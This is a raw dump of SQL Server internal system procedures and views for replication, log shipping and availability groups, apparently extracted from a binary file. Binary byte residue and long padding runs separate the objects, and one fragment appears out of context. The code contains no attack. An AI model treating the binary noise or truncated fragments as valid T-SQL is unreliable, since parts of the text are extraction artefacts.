			-- Post 7.0 ftp support
			'ftp_address'				= sp.ftp_address,
			'ftp_port'					= sp.ftp_port,
			'ftp_subdirectory'			= sp.ftp_subdirectory,
			'ftp_login'					= sp.ftp_login,
			'ftp_password'				= sys.fn_repldecryptver4(sp.ftp_password),
			'allow_dts'					= sp.allow_dts,
			'allow_subscription_copy'	= sp.allow_subscription_copy,
			-- 7.5 Queued updates
			'centralized_conflicts'		= NULL, 
			'conflict_retention'		= 14, 
			'conflict_policy'			= NULL,
			'queue_type'				= NULL,
			'backward_comp_level'		= sp.backward_comp_level,
			'publish_to_AD'				= CASE
											WHEN sp.ad_guidname IS NULL
											THEN 0 ELSE 1 END
	FROM	syspublications		sp,
			MSpublications		msp,
			master.dbo.sysservers	ss
	WHERE	sp.pubid = msp.publication_id
	AND		msp.publisher_id = ss.srvid
	AND     UPPER(ss.srvname collate database_default) = UPPER(@publisher) collate database_default
	AND		((sp.name = @publication) or  (@publication = N'%'))
	ORDER BY sp.name
	IF @@ERROR <> 0 RETURN 1
	
    RETURN (0)
END
08l D8oh&	0'	0ep M8--
-- Name: sp_MSchangedynsnaplocationatdistributor
--
-- Description: This function is called by sp_MSrefreshdynamicsnapshotlocations 
--              at the publisher to change the dynamic snapshot location command line
--              parameter value in an existing dynamic snapshot job
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Security: Only members of the 'sysadmin' server role and members of the 
--           'db_owner' database role at the distributor can call this 
--           procedure. This procedure is intended to be called through 
--           the distributor_admin remote login in the case where
--           the distributor is a different machine from the publisher. 
--
create procedure sys.sp_MSchangedynsnaplocationatdistributor 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @dynamic_filter_login sysname,
    @dynamic_filter_hostname sysname,
    @dynamic_snapshot_location nvarchar(255)
)
as
begin
    set nocount on

    declare @retcode int
    declare @agent_id int
    declare @job_id uniqueidentifier
    declare @job_step_uid uniqueidentifier
    declare @publisher_id int
    declare @publication_type int
    declare @command_line nvarchar(4000)
    declare @str_jobid nvarchar(40)
    
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_srvrolemember('sysadmin') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSchangedynsnaplocationatdistributor', 'distribution')
        return (1)
    end

    if @dynamic_filter_login is NULL and @dynamic_filter_hostname is NULL
    begin
        raiserror(20653, 16, -1)
        return 1
    end
    
    select @retcode = 0
    select @agent_id = null

    SELECT @publisher_id = srvid 
      FROM master.dbo.sysservers
     WHERE UPPER(srvname) = UPPER(@publisher)
    IF @publisher_id IS  NULL
    BEGIN
        RAISERROR(21169, 16, -1, @publisher, @@SERVERNAME, @publisher)    
    END
    
    -- Get the publication details from the agent for regular snapshot  
    select @agent_id = id,
           @job_id = job_id,
           @job_step_uid = job_step_uid,
           @publication_type = publication_type
      from MSsnapshot_agents
     where publisher_id = @publisher_id and 
           publication = @publication and 
           publisher_db = @publisher_db and
          ((@dynamic_filter_login is NULL and dynamic_filter_login is NULL) or dynamic_filter_login = @dynamic_filter_login)  and
          ((@dynamic_filter_hostname is NULL and dynamic_filter_hostname is NULL) or dynamic_filter_hostname = @dynamic_filter_hostname)
    if @agent_id is null or @job_id is NULL
    begin
        raiserror(21325, 11, -1)
        return 1
    end

    if @publication_type <> 2
    begin
        raiserror(20654, 16, -1)
        return 1
    end

    select @str_jobid = convert(nvarchar(40),@job_id)
    
    -- Change the dynamic snapshot location parameter in the job step
    select @command_line = command from msdb.dbo.sysjobsteps 
        where step_uid = @job_step_uid and job_id = @job_id
    if @command_line is NULL
    begin
        raiserror(20724, 16, -1, @str_jobid, @publication)
        goto UNDO
    end

    SELECT @command_line = sys.fn_updateparameterwithargument(@command_line, N'DynamicSnapshotLocation', sys.fn_replquotename(@dynamic_snapshot_location, default) collate database_default )
    if @@error <> 0
    begin
        raiserror(20725, 16, -1, @str_jobid, @publication)
        goto UNDO
    end

    UPDATE msdb.dbo.sysjobsteps
        SET command = @command_line
        WHERE job_id = @job_id
            AND step_uid = @job_step_uid
    if @@error <> 0
    begin
        raiserror(20725, 16, -1, @str_jobid, @publication)
        goto UNDO
    end
    
    RETURN(0)

UNDO:
    return(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	3
<"/(Ɯ0u@ Q8create procedure sys.sp_dbscriptlevel
(
	@dbname sysname 		= NULL,
	@script_entry int		= NULL,
	@value int				= NULL
)
as
begin
	-- set the current script level
	--
	exec %%DatabaseEx (Name = @dbname).SetScriptLevel (ID = @script_entry, Level = @value);

	return (0) -- sp_dbscriptlevel
end
0q= D8|h)t.*0y 8      
--
-- Name:    
--          sp_distagentstatus
--          
-- Description: 
--          Internal procedure for heterogeneous snapshot agent to
--          determine distribution agent status.
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Result set:  Agent status
--      
-- Owner:   
--          sward 

create procedure sys.sp_distagentstatus
(
	@publication	sysname,
	@publisher	sysname
)
AS
BEGIN

	DECLARE @independent_agent int
	DECLARE @publisher_id int
  
    SELECT @publisher_id = srvid 
    FROM master.dbo.sysservers
    WHERE UPPER(@publisher) = UPPER(srvname collate database_default)
      
	-- Determine whether the given publication shares an 
    -- agent with other publicaitons in the same database
    -- or not
    SELECT @independent_agent = 0
    SELECT @independent_agent = independent_agent 
    FROM dbo.MSpublications
    WHERE publisher_id = @publisher_id
      AND publisher_db = DB_NAME()
      AND publication = @publication  
        
    IF @independent_agent = 0 
    BEGIN
        -- If the publication shares an agent with 
        -- other publications, change the publication
        -- name to 'ALL' before querying the MSdistribution_agents
        -- table
        SELECT @publication = N'ALL'                
    END

    SELECT     (SELECT TOP 1 s.status 
                     FROM dbo.MSsubscriptions s
                     WHERE s.agent_id = msda.id),
                msda.job_id     
    FROM MSdistribution_agents msda
    WHERE msda.publisher_id = @publisher_id 
      AND msda.publisher_db = DB_NAME()
      AND msda.publication = @publication
END
0U >8create procedure sys.sp_replmonitorsubscriptionpendingcmds 
(
    @publisher sysname -- cannot be null
    ,@publisher_db sysname -- cannot be null
    ,@publication sysname -- cannot be null
    ,@subscriber sysname -- cannot be null
    ,@subscriber_db sysname -- cannot be null
    ,@subscription_type int
)
as
begin
    set nocount on
    declare @retcode int
                ,@agent_id int
                ,@publisher_id int
                ,@subscriber_id int
                ,@lastrunts timestamp
                ,@avg_rate float
                ,@xact_seqno varbinary(16)
				,@inactive int = 1
				,@virtual int = -1

    --
    -- PAL security check done inside sp_MSget_repl_commands
    -- security: Has to be executed from distribution database
    --
    if sys.fn_MSrepl_isdistdb (db_name()) != 1
    begin
        raiserror (21482, 16, -1, 'sp_replmonitorsubscriptionpendingcmds', 'distribution')
        return 1
    end
    --
    -- validate @subscription_type
    --
    if (@subscription_type not in (0,1))
    begin
        raiserror(14200, 16, 3, '@subscription_type')
        return 1
    end
    --
    -- get the server ids for publisher and subscriber
    --
    select @publisher_id = server_id from sys.servers where upper(name) = upper(@publisher)
    if (@publisher_id is null)
    begin
        raiserror(21618, 16, -1, @publisher)
        return 1
    end
    select @subscriber_id = server_id from sys.servers where upper(name) = upper(@subscriber)
    if (@subscriber_id is null)
    begin
        raiserror(20032, 16, -1, @subscriber, @publisher)
        return 1
    end
    --
    -- get the agent id
    --
    select @agent_id = id
    from dbo.MSdistribution_agents 
    where publisher_id = @publisher_id 
        and publisher_db = @publisher_db
        and publication in (@publication, 'ALL')
        and subscriber_id = @subscriber_id
        and subscriber_db = @subscriber_db
        and subscription_type = @subscription_type
    if (@agent_id is null)
    begin
        raiserror(14055, 16, -1)
        return (1)
    end;
    --
    -- Compute timestamp for latest run
    --
    with dist_sessions (start_time, runstatus, timestamp)
    as
    (
        select start_time, max(runstatus), max(timestamp) 
        from dbo.MSdistribution_history
        where agent_id = @agent_id
        and runstatus in (2,3,4)
        group by start_time 
    )
    select @lastrunts = max(timestamp)
    from dist_sessions;
    if (@lastrunts is null)
    begin
        --
        -- Distribution agent has not run successfully even once
        -- and virtual subscription of immediate sync publication is inactive (snapshot has not run), no point of returning any counts
        -- see SQLBU#320752, orig fix SD#881433, and regression bug VSTS# 140179 before you attempt to fix it differently :)
        if exists (select *
                    from dbo.MSpublications p join dbo.MSsubscriptions s on p.publication_id = s.publication_id
                    where p.publisher_id = @publisher_id 
                        and p.publisher_db = @publisher_db
                        and p.publication = @publication
                        and p.immediate_sync = 1
							and s.status = @inactive and s.subscriber_id = @virtual) 
        begin
		    select 'pendingcmdcount' = 0, N'estimatedprocesstime' = 0
			return 0
        end
        --
        -- Grab the max timestamp
        --
        select @lastrunts = max(timestamp)
        from dbo.MSdistribution_history
        where agent_id = @agent_id
    end
    --
    -- get delivery rate for the latest completed run
    -- get the latest sequence number
    --
    select @xact_seqno = xact_seqno
            ,@avg_rate = delivery_rate
    from dbo.MSdistribution_history
    where agent_id = @agent_id
        and timestamp = @lastrunts
    --
    -- if no rows are selected in last query
    -- explicitly initialize these variables
    --
    select @xact_seqno = isnull(@xact_seqno, 0x0)
            ,@avg_rate = isnull(@avg_rate, 0.0)
    --
    -- if we do not have completed run
    -- get the average for the agent in all runs
    --
    if (@avg_rate = 0.0)
    begin
        select @avg_rate = isnull(avg(delivery_rate),0.0)
        from dbo.MSdistribution_history
        where agent_id = @agent_id
    end
    --
    -- get the count of undelivered commands
    -- PAL check done inside
    --
    DECLARE @countab TABLE ( pendingcmdcount int )
    insert into @countab (pendingcmdcount)
        exec @retcode = sys.sp_MSget_repl_commands 
                                    @agent_id = @agent_id
                                    ,@last_xact_seqno = @xact_seqno
                                    ,@get_count = 2
                                    ,@compatibility_level = 9000000
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- compute the time to process
    -- return the resultset
    --
    select 
        pendingcmdcount  
        ,N'estimatedprocesstime' = case when (@avg_rate != 0.0) 
                                then cast((cast(pendingcmdcount as float) / @avg_rate) as int)
                                else pendingcmdcount end
    from @countab
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Ey`eR<*H'T02_@ 8create procedure sys.sp_script_synctran_commands(
    @publication sysname,    /* publication name */
    @article sysname = 'all'    /* article name, all means all article */
    ,@trig_only bit = 0
    ,@usesqlclr bit = 0         -- if 1, certain stored proc (e.g., sys.sp_MSscriptsynctrancommands_sqlclr) needs to be signed for min-privilege use
) 
as
begin
    declare @retcode int
    --
    -- security check
    --
    if @trig_only = 0
    begin
        exec @retcode = sys.sp_MSreplcheck_publish
        if @@error <> 0 or @retcode <> 0
        begin
            return (1)
        end
    end
    else
    begin
        exec @retcode = sp_MSreplcheck_pull
            @publication = @publication,
            @raise_fatal_error = 0
        if @@error <> 0 or @retcode <> 0
        begin
            return (1)
        end
    end
    --
    -- Generate the scripts by calling internal SP
    --
    exec @retcode = sys.sp_MSget_synctran_commands 
        @publication = @publication,
        @article = @article,
        @command_only = 1,
        @trig_only = @trig_only,
        @usesqlclr = @usesqlclr
    if @retcode <> 0 or @@error <> 0
        return (1)
end
0@ ~8
--
-- Name:    
--          sp_IHgetprovider
--          
-- Description: 
--          Determine the OLEDB provider to use for
--			HREPL publisher
--  
-- Security: 
--          Internal
--
-- Returns:
--          Error code
--      
-- Owner:   
--          acarter
--
-- Notes:
--			Calls publisher type specific routine to do the actual
--			provider detemination.  To add a new publisher type,
--			a new worker proc should be created.
--

CREATE PROCEDURE sys.sp_IHgetprovider
(
	@publisher_type	sysname OUTPUT,
	@provider		sysname OUTPUT
)
AS
BEGIN
	DECLARE @retcode int


	IF (UPPER(@publisher_type) LIKE N'ORACLE%')
	BEGIN
		EXEC @retcode = sys.sp_ORAgetprovider @publisher_type OUTPUT, @provider OUTPUT
	END
	ELSE
	BEGIN
		RAISERROR(21645, 16, -1, @publisher_type)
		RETURN (1)
	END

	RETURN @retcode
END
0c$ P8h>?Ay0H=/@ \8CREATE PROCEDURE sys.sp_MSdrop_subserver
(
	@subscriber sysname
)
WITH EXECUTE AS 'dbo'
AS
BEGIN
	DECLARE @retcode 			int

	/*
	** Clear the server option to indicate this is a subscriber.
	*/
	EXECUTE @retcode = sys.sp_serveroption @subscriber, 'sub', false

	IF @@error <> 0 OR @retcode <> 0
	BEGIN
		-- Unable to clear susbscriber status from sysservers entry.
		RAISERROR (14044, 16, -1, @subscriber)
		RETURN 1
	END
	
	/*
	** Clear the server option indicating this is a DSN subscriber.
	*/
	EXECUTE @retcode = sys.sp_serveroption @server = @subscriber, 
											@optname = 'nonsqlsub',
											@optvalue =  'off'
	IF @@error <> 0 or @retcode <> 0
	BEGIN
		-- Unable to clear susbscriber status from sysservers entry.
		RAISERROR (14044, 16, -1, @subscriber)
		RETURN 1
	END		

END
0L+@ 8CREATE PROCEDURE sys.sp_MSlock_distribution_agent 
(
    @id int,
    @mode int = 1 -- 0: shared  1: exclusive
) 
AS
begin
    SET         NOCOUNT ON
    DECLARE     @active tinyint
    declare     @count  int
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    select @active = 2
    if @mode = 0
        select @count = count(*) from dbo.MSsubscriptions with (ROWLOCK REPEATABLEREAD) where agent_id = @id and status = @active
    else
        select @count = count(*) from dbo.MSsubscriptions with (ROWLOCK UPDLOCK) where agent_id = @id and status = @active
end
00 8create function sys.fn_MSmerge_hasdownloadonlyarticles (@pubid uniqueidentifier)
returns bit
as
begin
    -- If there are no download-only articles, contents_forglobal is unneeded,
    -- everything will be in contents_forall.

    if exists(select * from dbo.sysmergearticles
                where pubid=@pubid and (upload_options = 1 or upload_options = 2))
    begin
        return 1
    end

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^	kA`<m
\	?0v| 
8create procedure sys.sp_deletepeerrequesthistory
(
	@publication	sysname,
	@request_id		int = NULL,
	@cutoff_date	datetime = NULL
)
as
begin
	declare @retcode		int,
			@publisher		sysname,
			@publisher_db	sysname

	select @publisher = publishingservername(),
			@publisher_db = db_name()

	-- Publisher Security Check.
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    -- check this db is published
	if sys.fn_MSrepl_istranpublished(db_name(),0) <> 1
    begin
		-- "The database is not published."
		raiserror (18757, 16, -1)
		return 1
	end

	-- parameter checks
	if @request_id is null and @cutoff_date is null
	begin
		-- "The parameter @request_id and @cutoff_date cannot be NULL."
		raiserror (14043, 16, -1, '@request_id and @cutoff_date', 'sp_deletepeerrequesthistory')
        return 1
	end
	else if @request_id is not null and @cutoff_date is not null
	begin
		-- "There must be one and only one of '@request_id' and '@cut_off' that is not NULL."
		raiserror(21314, 16, -1, '@request_id', '@cut_off')
		return 1
	end
	
	-- exit with no error if the tables are not found
	if object_id('MSpeer_request', 'U') is null
		or object_id('MSpeer_response', 'U') is null
	begin
		return 0
	end

	begin transaction
	save transaction tr_delete_peer_request

	if @request_id is not null
	begin
		if not exists(select * 
						from MSpeer_request
						where id = @request_id
							and (publication = @publication
								or @publication is null))
		begin
			-- The @request_id (%d) could not be found for publisher:%s, database:%s, publication:%s.
			raiserror(20688, 16, -1, '@request_id', @request_id, @publisher, @publisher_db, @publication)
			goto UNDO
		end

		delete MSpeer_response
			where request_id = @request_id
		if @@error <> 0 goto UNDO

		delete MSpeer_request
			where id = @request_id
		if @@error <> 0 goto UNDO
	end
	else
	begin
		delete MSpeer_response 
			where request_id in (select id
									from MSpeer_request
									where sent_date <= @cutoff_date
										and (publication = @publication
											or @publication is null))
		if @@error <> 0 goto UNDO

		delete MSpeer_request
			where sent_date <= @cutoff_date
				and (publication = @publication
					or @publication is null)
		if @@error <> 0 goto UNDO
	end

	commit transaction tr_delete_peer_request

	return 0
UNDO:
	rollback transaction tr_delete_peer_request
	commit transaction

	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
	<P;㤱00 -8 
-- add it
create view sys.pdw_health_component_properties as
select
	component_id,
	property_id,
	property_name	collate database_default property_name,
	physical_name	collate database_default physical_name,
	is_key
from sys._pdw_health_component_properties
0 8
CREATE PROCEDURE sys.sp_IHget_loopback_detection
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,        
    @subscriber sysname,              
    @subscriber_db sysname
)
as
begin
    set nocount on

    DECLARE @retcode	 int
 
   -- Security check: Sysadmins and db_owners only
   exec @retcode = sys.sp_MSreplcheck_publish
   if @@error <> 0 or @retcode <> 0
   begin
      return 1
   end

   -- Has to be executed from distribution database
   if sys.fn_MSrepl_isdistdb (db_name()) != 1
   begin
      raiserror (21482, 16, -1, 'sp_IHget_loopback_detection', 'distribution')
      return 1
   end

    select distinct loopback_detection
    from 
    	MSsubscriptions s,
 		master.dbo.sysservers ss
    where 
    s.publisher_id =
		 (select srvid from master.dbo.sysservers
    	 where UPPER(srvname collate database_default) = UPPER(@publisher) collate database_default) and 
    s.publisher_db = @publisher_db and
    s.publication_id =
		 (select publication_id from MSpublications
	 	 where publisher_id = s.publisher_id and
               publisher_db = s.publisher_db and
               publication = @publication) and
    s.subscriber_db = @subscriber_db and
    s.subscriber_id = ss.srvid and
    UPPER(ss.srvname collate database_default) = UPPER(@subscriber) collate database_default and
    s.subscriber_id >= 0 
end
0	@ 8create procedure sys.sp_repldeletequeuedtran 
(
    @publisher sysname
    ,@publisher_db sysname
    ,@publication sysname
    ,@tranid sysname
    ,@orderkeylow bigint
    ,@orderkeyhigh bigint
)
as
begin
    declare @retcode int
    set nocount on
    --
    -- Security check
    --
    exec @retcode = sp_MSreplcheck_subscribe
    if @@error != 0 or @retcode != 0
        return 1
    --
    -- validate inputs
    --
    if (@tranid is null 
            or @orderkeylow is null or @orderkeylow = 0 
            or @orderkeyhigh is null or @orderkeyhigh = 0
            or @orderkeyhigh < @orderkeylow)
        return 1
    --
    -- begin local transaction
    --
    begin transaction sp_repldeletequeuedtran
    save transaction sp_repldeletequeuedtran
    --
    -- delete rows from MSreplication_queue
    --
    delete dbo.MSreplication_queue with (rowlock)
    where publisher = UPPER(@publisher)
        and publisher_db = @publisher_db
        and publication = @publication
        and tranid = @tranid 
        and orderkey between @orderkeylow and @orderkeyhigh
    if (@@error != 0)
        goto Error
    --
    -- delete row from MSrepl_queuedtraninfo
    --
    delete dbo.MSrepl_queuedtraninfo with (rowlock)
    where publisher = UPPER(@publisher)
        and publisher_db = @publisher_db
        and publication = @publication
        and tranid = @tranid 
    if (@@error != 0)
        goto Error
    --
    -- commit local transaction
    --
    commit transaction sp_repldeletequeuedtran
    --
    -- all done
    --
    return 0

Error:
    rollback transaction sp_repldeletequeuedtran
    commit transaction
    return 1
end
0i@ B8create procedure sys.sp_processlogshippingmonitorsecondary 
(
    @mode tinyint -- 1 = add, 2 = delete, 3 = update
    ,@secondary_server sysname
    ,@secondary_database sysname = NULL
    ,@secondary_id uniqueidentifier
    ,@primary_server sysname = NULL
    ,@monitor_server sysname 
    ,@monitor_server_security_mode bit
    ,@primary_database sysname = NULL
    ,@restore_threshold int = NULL 
    ,@threshold_alert int = NULL
    ,@threshold_alert_enabled bit = NULL
    ,@last_copied_file nvarchar(500) = NULL
    ,@last_copied_date datetime = NULL
    ,@last_copied_date_utc datetime = NULL
    ,@last_restored_file nvarchar(500) = NULL
    ,@last_restored_date datetime = NULL
    ,@last_restored_date_utc datetime = NULL
    ,@last_restored_latency int = NULL
    ,@history_retention_period int = NULL
)
as
begin
    set nocount on
    declare @retcode int
    
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- This should be called only on the remote monitor server
    --
    if (@monitor_server is null or upper(@monitor_server) != upper(@@servername) 
            or upper(@monitor_server) = upper(@secondary_server))
        return 0
    --
    -- must be invoked from MSDB
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_processlogshippingmonitorsecondary', N'msdb')
        return 1
    end
    --
    -- call the internal proc now
    --
    exec @retcode = sys.sp_MSprocesslogshippingmonitorsecondary @mode = @mode
                ,@secondary_server = @secondary_server
                ,@secondary_database = @secondary_database
                ,@secondary_id = @secondary_id
                ,@primary_server = @primary_server
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = @monitor_server_security_mode
                ,@primary_database = @primary_database
                ,@restore_threshold = @restore_threshold
                ,@threshold_alert = @threshold_alert
                ,@threshold_alert_enabled = @threshold_alert_enabled
                ,@last_copied_file = @last_copied_file
                ,@last_copied_date = @last_copied_date
                ,@last_copied_date_utc = @last_copied_date_utc
                ,@last_restored_file = @last_restored_file
                ,@last_restored_date = @last_restored_date
                ,@last_restored_date_utc = @last_restored_date_utc
                ,@last_restored_latency = @last_restored_latency
                ,@history_retention_period = @history_retention_period                
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
- check schema
        (@column_name = s_cv.COLUMN_NAME or @column_name is null)

    order by 1, 2, 3, 7
0" 	8CREATE VIEW sys.dm_hadr_internal_wsfc_ag_replicas AS
	SELECT
		ags.ag_id, reps.*
	FROM
		OpenRowset(TABLE DM_HADR_INTERNAL_WSFC_AGS) AS ags
	CROSS APPLY
		OpenRowset(TABLE DM_HADR_INTERNAL_WSFC_AG_REPLICAS, ags.ag_id) AS reps
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4`e
<?~8'w09{p P8hh\>x?0#st@ 8CREATE VIEW sys.dm_db_file_space_usage AS
	SELECT *
	FROM OpenRowset(TABLE DM_DB_FILE_SPACE_USAGE)
01o| 8CREATE PROCEDURE sys.sp_MSrepl_GrantSelectOnMergeSystemTables (@pubid uniqueidentifier, @role sysname)
AS
    declare @quotedrole nvarchar(258)

    select @quotedrole = quotename(@role)

    -- grant select on system tables to the given role
